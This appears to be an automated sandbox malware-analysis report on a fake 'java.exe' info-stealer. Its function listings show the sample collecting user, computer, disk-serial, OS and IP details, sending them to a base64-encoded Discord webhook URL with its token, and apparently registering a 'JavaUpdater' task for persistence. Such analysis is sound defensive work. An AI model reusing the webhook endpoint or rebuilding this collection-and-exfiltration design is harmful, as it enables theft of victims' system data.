API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: 05aab7d743464d29dd3f813d22ba04bb97828900f5c74b9fee27cd6eba36183f
Instruction ID: ce0e552a2359a319845ca59b3a8e84a47b4b1138a3ee3da9ff38de52752ce2ef
Opcode Fuzzy Hash: 05aab7d743464d29dd3f813d22ba04bb97828900f5c74b9fee27cd6eba36183f
Instruction Fuzzy Hash: D231D033B2D7C1B5EA109B16A5057AAA255AB04BD4F180335DE6DCBBD6DF7CE041A320

Function 00007FF670FCC990 Relevance: 6.1, APIs: 4, Instructions: 101COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(00000131,00000000,?,00007FF670FC577C,?,?,?,?,?,?,?,?,?,?,?,00000131), ref: 00007FF670FCC9FD

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memmove
String ID:
API String ID: 2162964266-0
Opcode ID: c35bdca75d66289cbbe8792ce3d9646c1a9eae02c5a1099fc4d5f8dfa5f79646
Instruction ID: f076a6964c146498b3208d4df39c4bb8cdd75c7389a73a6a8ca38001744e750e
Opcode Fuzzy Hash: c35bdca75d66289cbbe8792ce3d9646c1a9eae02c5a1099fc4d5f8dfa5f79646
Instruction Fuzzy Hash: 2D312323B1D7C5A9FA159F66A5453BA2144AF05BE4F280331CE2C87BD2DF3C94D283A0

Function 00007FF670FCB6A0 Relevance: 6.1, APIs: 4, Instructions: 100COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140 ref: 00007FF670FCB77C
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCB7B0
memmove.VCRUNTIME140 ref: 00007FF670FCB7BA
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FCB7E3

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID:
API String ID: 2016347663-0
Opcode ID: e8fe7e958e29a31c6a6ccf4bccc616f4523a748d99ed05b8f57287ff5b306960
Instruction ID: c84d0a76c4922c3edc171e4f44355bec031c212c4deef36308974a7f37a553a6
Opcode Fuzzy Hash: e8fe7e958e29a31c6a6ccf4bccc616f4523a748d99ed05b8f57287ff5b306960
Instruction Fuzzy Hash: D731B26BB2DAC1A5EE109B1195063AA6255AF84BD0F580731DE6DCBBD5DF3CE0418320

Function 00007FF670FC34A0 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

APIs

memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC34D8
memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC3579
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC3597

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: memmove$Concurrency::cancel_current_task
String ID:
API String ID: 1247048853-0
Opcode ID: 6b4d8e943c827b092aac02f0c4dc6a22bc2bdbd620c48232d5eaa4421c51ee35
Instruction ID: bcdb8dd90446eda68124a2b5c3b2875aa434af3e0fd8101853b70d996693cd36
Opcode Fuzzy Hash: 6b4d8e943c827b092aac02f0c4dc6a22bc2bdbd620c48232d5eaa4421c51ee35
Instruction Fuzzy Hash: 6721F763A1E7D665FA259B51A40137E2254AB05BE4F180B31DE6CC7BC6DF3CA4928320

Function 00007FF670FCA640 Relevance: 5.6, APIs: 1, Strings: 2, Instructions: 339COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF670FCCCF0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FCCE9A

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,Security,System,?,?,?,00007FF670FCAFB7), ref: 00007FF670FCAA94

Strings

Security, xrefs: 00007FF670FCA656
System, xrefs: 00007FF670FCA654

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturn
String ID: Security$System
API String ID: 73155330-2661570791
Opcode ID: 50d799d0bf03d6ab0226f341a1398c31d653080fcac9ab1f781c5d39ff046ff4
Instruction ID: 2c7f4c1b3a9abc46fe6db9f3986f18e6200a51ccd82b52cf30abb9b6bb73ee17
Opcode Fuzzy Hash: 50d799d0bf03d6ab0226f341a1398c31d653080fcac9ab1f781c5d39ff046ff4
Instruction Fuzzy Hash: 1BE18123A29AC1A4EB14CB65D4422BE67A1FB44B8CF449636CF5D97789DF3CE490C350

Function 00007FF670FCCCF0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 125COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FCCE9A

Strings

System, xrefs: 00007FF670FCCCF3

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Concurrency::cancel_current_task
String ID: System
API String ID: 118556049-3470857405
Opcode ID: 4fc0c7eaf7f74b3e870daa3c842a4730caff543050ed0bc9254fe8d7cb5bb188
Instruction ID: 50956003063484d3112576ad19d9b0c67fa9a24a10dac180f8713719755ff9ec
Opcode Fuzzy Hash: 4fc0c7eaf7f74b3e870daa3c842a4730caff543050ed0bc9254fe8d7cb5bb188
Instruction Fuzzy Hash: 8741D023A19BC595EE108F2995011BA6750EB49BA8F18A731CEAE837D5EF3CE4C1C250

Function 00007FF670FC85B0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC8661
Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC8710

Part of subcall function 00007FF670FCD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF670FC3975), ref: 00007FF670FCDA0A

Strings

System, xrefs: 00007FF670FC85BC

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID: System
API String ID: 1934640635-3470857405
Opcode ID: 8e9c648aaf9993d6eed02413e51bf5f09641b046bbebabcfcb4fae47b2ed004d
Instruction ID: 3ba5d62c3679457129793b7be3033e48e1c477d8e623c434c39b72e7dffc4012
Opcode Fuzzy Hash: 8e9c648aaf9993d6eed02413e51bf5f09641b046bbebabcfcb4fae47b2ed004d
Instruction Fuzzy Hash: 3B41C333629B8296EA149B12E94116AB7A4FB587C0F544336DE8DC3B95DF7CD492C310

Function 00007FF670FCCB90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 99COMMON

Download Yara Rule

APIs

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FCCCE8

Part of subcall function 00007FF670FCD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF670FC3975), ref: 00007FF670FCDA0A

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCCCE1

Strings

Security, xrefs: 00007FF670FCCBA0

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Concurrency::cancel_current_task_invalid_parameter_noinfo_noreturnmalloc
String ID: Security
API String ID: 1934640635-1022211991
Opcode ID: 940fbb8c13e06505b1f8ccc2fbea7ba20c18ea880b94d17af8005ee8a0573366
Instruction ID: dcca19d778d29906b0087520d06923e81677acd40aae73c2594b084e847a761b
Opcode Fuzzy Hash: 940fbb8c13e06505b1f8ccc2fbea7ba20c18ea880b94d17af8005ee8a0573366
Instruction Fuzzy Hash: F0319C23B286C5A5EA14CF2994023BA7650EB45BA4F495631CE2DD77C5DF3CE482C350

Function 00007FF670FC9CFF Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 74COMMON

Download Yara Rule

APIs

_dsign.API-MS-WIN-CRT-MATH-L1-1-0 ref: 00007FF670FC9D87

Part of subcall function 00007FF670FC5E40: memset.VCRUNTIME140 ref: 00007FF670FC5E74

Strings

0, xrefs: 00007FF670FC9DB3
null, xrefs: 00007FF670FC9D28

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: _dsignmemset
String ID: 0$null
API String ID: 210716287-2239106201
Opcode ID: 449d20cf74046f8510eab42154efe2d25a62bb869c27897a45daba319c9707b5
Instruction ID: 296cb03a4a14df5eb5001cda9c4e8ff84260df6374a70543bfa64d8a7ddfc96c
Opcode Fuzzy Hash: 449d20cf74046f8510eab42154efe2d25a62bb869c27897a45daba319c9707b5
Instruction Fuzzy Hash: AB318D2362CAC595D6618F29E0413EAB360FF84B84F449222EF8D93755EF3CE585C710

Analysis Process: java.exePID: 6400, Parent PID: 1068COMMON

Execution Graph

Execution Coverage:	22.2%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	1692
Total number of Limit Nodes:	17

Executed Functions

Function 00007FF65E1F70A0 Relevance: 81.5, APIs: 27, Strings: 19, Instructions: 981
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F34D8

Part of subcall function 00007FF65E1F6000: CryptStringToBinaryA.CRYPT32 ref: 00007FF65E1F6065
Part of subcall function 00007FF65E1F6000: memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF65E1F60A6
Part of subcall function 00007FF65E1F6000: CryptStringToBinaryA.CRYPT32 ref: 00007FF65E1F60DF
Part of subcall function 00007FF65E1F6000: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF65E1F6141

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F7150
_Xtime_get_ticks.MSVCP140 ref: 00007FF65E1F7397
memset.VCRUNTIME140 ref: 00007FF65E1F73D6
??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF65E1F7401
??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF65E1F7423
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF65E1F7466
_gmtime64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF65E1F7493
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F7932
memmove.VCRUNTIME140 ref: 00007FF65E1F798D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F7A7F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F7ACA
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF65E1F7B50
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F7B91
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F7BF3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F7C4A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F7CAC
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF65E1F7D0B
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF65E1F7D19
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F7D70

Part of subcall function 00007FF65E1FB470: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FB53E
Part of subcall function 00007FF65E1FB470: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FB58D
Part of subcall function 00007FF65E1FB470: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1FB5CC

_CxxThrowException.VCRUNTIME140 ref: 00007FF65E1F7DF5

Part of subcall function 00007FF65E1F11C0: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF65E1F11CB

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F3579

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F7E00
GetUserNameW.ADVAPI32 ref: 00007FF65E1F7E9D
GetComputerNameW.KERNEL32 ref: 00007FF65E1F7F2E
GetVolumeInformationW.KERNELBASE ref: 00007FF65E1F801F
memset.VCRUNTIME140 ref: 00007FF65E1F80EC
GetVersionExW.KERNEL32 ref: 00007FF65E1F8102

Part of subcall function 00007FF65E1F3280: __stdio_common_vswprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF65E1F32C3

Part of subcall function 00007FF65E1F21A0: ?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z.MSVCP140 ref: 00007FF65E1F21C0
Part of subcall function 00007FF65E1F21A0: ??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z.MSVCP140 ref: 00007FF65E1F2216
Part of subcall function 00007FF65E1F21A0: ?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z.MSVCP140 ref: 00007FF65E1F2232
Part of subcall function 00007FF65E1F21A0: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF65E1F2242
Part of subcall function 00007FF65E1F21A0: ?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z.MSVCP140 ref: 00007FF65E1F2251
Part of subcall function 00007FF65E1F21A0: ??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z.MSVCP140 ref: 00007FF65E1F2265

Strings

ip address, xrefs: 00007FF65E1F7F96
Drives, xrefs: 00007FF65E1F8236
-d ", xrefs: 00007FF65E1F7970
Security, xrefs: 00007FF65E1F70B2
local user, xrefs: 00007FF65E1F7E73
embeds, xrefs: 00007FF65E1F71E1, 00007FF65E1F7602
%Y-%m-%dT%H:%M:%S.000Z, xrefs: 00007FF65E1F749E
product version, xrefs: 00007FF65E1F80CC
serial number, xrefs: 00007FF65E1F7FC9
New client, xrefs: 00007FF65E1F82C7
h, xrefs: 00007FF65E1F74FB
Webhook sent. Response: , xrefs: 00007FF65E1F7B09
Application, xrefs: 00007FF65E1F7E15
C:\, xrefs: 00007FF65E1F8018
%08X, xrefs: 00007FF65E1F8030
system name, xrefs: 00007FF65E1F7F05
aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMyMTMyODYwMjc5MjQ2MDMzMC9ROUNRTVVxaFBtbkxBOFlDR0ZpV2NOMXFzbWQ4U3pFekhWNVJjRnJJdVl4OFVXVTJiU0czZmR3NGdyMUM3QVZoSlFobQ==, xrefs: 00007FF65E1F70F7
System, xrefs: 00007FF65E1F70B0
timestamp, xrefs: 00007FF65E1F76CC

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$U?$char_traits@$D@std@@@std@@$V01@memmovememset$BinaryCryptLocimp@locale@std@@NameString$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??0?$codecvt@_??1?$basic_ios@??1?$basic_iostream@??4?$_??6?$basic_ostream@Addfac@_Bid@locale@std@@ComputerConcurrency::cancel_current_taskD@std@@D@std@@@1@@ExceptionInformationInit@locale@std@@Locimp@12@_Locimp@_Mbstatet@@@std@@New_ThrowUserV01@@V123@V123@@V?$basic_streambuf@VersionVfacet@23@_VolumeXlength_error@std@@Xtime_get_ticksYarn@__stdio_common_vswprintf_s_gmtime64
String ID: -d "$%08X$%Y-%m-%dT%H:%M:%S.000Z$Application$C:\$Drives$New client$Security$System$Webhook sent. Response: $aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMyMTMyODYwMjc5MjQ2MDMzMC9ROUNRTVVxaFBtbkxBOFlDR0ZpV2NOMXFzbWQ4U3pFekhWNVJjRnJJdVl4OFVXVTJiU0czZmR3NGdyMUM3QVZoSlFobQ==$embeds$h$ip address$local user$product version$serial number$system name$timestamp
API String ID: 2975285854-287537819
Opcode ID: 3e4def7a3932eda77ec408c44bbf75faeee4343490c5b6f44898434bce0f04f2
Instruction ID: 2b96ea6ee1781134b0a5c494a4b95b59a245e85fffd4bb4443e61bbc6ed87c7c
Opcode Fuzzy Hash: 3e4def7a3932eda77ec408c44bbf75faeee4343490c5b6f44898434bce0f04f2
Instruction Fuzzy Hash: 5CB2B372A18BC281EF70CB24E5503EE7361FBA5394F445232EAAD92A99DF7CD184C750

Function 00007FF65E1F4990 Relevance: 58.3, APIs: 28, Strings: 5, Instructions: 546
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE ref: 00007FF65E1F49CB
CoCreateInstance.COMBASE ref: 00007FF65E1F49F7
VariantInit.OLEAUT32 ref: 00007FF65E1F4A0C
VariantInit.OLEAUT32 ref: 00007FF65E1F4A2A
VariantInit.OLEAUT32 ref: 00007FF65E1F4A48
VariantInit.OLEAUT32 ref: 00007FF65E1F4A67
VariantClear.OLEAUT32 ref: 00007FF65E1F4ADC
VariantClear.OLEAUT32 ref: 00007FF65E1F4AE7
VariantClear.OLEAUT32 ref: 00007FF65E1F4AF2
VariantClear.OLEAUT32 ref: 00007FF65E1F4AFD

Part of subcall function 00007FF65E1FD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF65E1F3975), ref: 00007FF65E1FDA0A

SysAllocString.OLEAUT32 ref: 00007FF65E1F4B47
SysFreeString.OLEAUT32 ref: 00007FF65E1F4B93
SysAllocString.OLEAUT32 ref: 00007FF65E1F4C02
SysFreeString.OLEAUT32 ref: 00007FF65E1F4C4F
CoUninitialize.COMBASE ref: 00007FF65E1F4CA2

Strings

Application, xrefs: 00007FF65E1F499F
Java Platform SE, xrefs: 00007FF65E1F4D35
Security, xrefs: 00007FF65E1F49A2
System, xrefs: 00007FF65E1F49A0
JavaUpdater, xrefs: 00007FF65E1F4BFB, 00007FF65E1F5063

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

API ID: Variant$ClearInitString$AllocFree$CreateInitializeInstanceUninitializemalloc
String ID: Application$Java Platform SE$JavaUpdater$Security$System
API String ID: 2476186896-3516896312
Opcode ID: c4336876aa5dd49f438aa50f56fe5437a00529bda7151e768ad878f618675877
Instruction ID: 0c14d68edbc7e1695dea76f979280c84fcf7b233eac0b447824847803cea583b
Opcode Fuzzy Hash: c4336876aa5dd49f438aa50f56fe5437a00529bda7151e768ad878f618675877
Instruction Fuzzy Hash: E6423832A05B858AEF11CF35D9502AD33A0FB99B48F188525EE4DA7B68EF3CD585C350

Function 00007FF65E1F7E10 Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 303
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F34D8

GetUserNameW.ADVAPI32 ref: 00007FF65E1F7E9D

Part of subcall function 00007FF65E1F21A0: ?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z.MSVCP140 ref: 00007FF65E1F21C0
Part of subcall function 00007FF65E1F21A0: ??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z.MSVCP140 ref: 00007FF65E1F2216
Part of subcall function 00007FF65E1F21A0: ?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z.MSVCP140 ref: 00007FF65E1F2232
Part of subcall function 00007FF65E1F21A0: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF65E1F2242
Part of subcall function 00007FF65E1F21A0: ?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z.MSVCP140 ref: 00007FF65E1F2251
Part of subcall function 00007FF65E1F21A0: ??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z.MSVCP140 ref: 00007FF65E1F2265

GetComputerNameW.KERNEL32 ref: 00007FF65E1F7F2E
GetVolumeInformationW.KERNELBASE ref: 00007FF65E1F801F

Part of subcall function 00007FF65E1F34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F3579

Part of subcall function 00007FF65E1F34A0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF65E1F3597

memset.VCRUNTIME140 ref: 00007FF65E1F80EC
GetVersionExW.KERNEL32 ref: 00007FF65E1F8102
GetModuleHandleW.KERNEL32 ref: 00007FF65E1F811A
GetProcAddress.KERNEL32 ref: 00007FF65E1F812A

Part of subcall function 00007FF65E1F34A0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF65E1F14B3), ref: 00007FF65E1F3556

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF65E1F8389

Strings

Unknown, xrefs: 00007FF65E1F81FE
ip address, xrefs: 00007FF65E1F7F96
Drives, xrefs: 00007FF65E1F8236
local user, xrefs: 00007FF65E1F7E73
product version, xrefs: 00007FF65E1F80CC
serial number, xrefs: 00007FF65E1F7FC9
New client, xrefs: 00007FF65E1F82C7
Application, xrefs: 00007FF65E1F7E15
kernel32.dll, xrefs: 00007FF65E1F8113
Windows %d.%d (Build %d), xrefs: 00007FF65E1F8174
C:\, xrefs: 00007FF65E1F8018
%08X, xrefs: 00007FF65E1F8030
system name, xrefs: 00007FF65E1F7F05
GetProductInfo, xrefs: 00007FF65E1F8123

Memory Dump Source

Source File: 00000006.00000002.2060431561.00007FF65E1F1000.00000020.00000001.01000000.00000005.sdmp, Offset: 00007FF65E1F0000, based on PE: true

Associated: 00000006.00000002.2060414733.00007FF65E1F0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060452458.00007FF65E200000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060470362.00007FF65E207000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000006.00000002.2060486628.00007FF65E208000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff65e1f0000_java.jbxd

Similarity

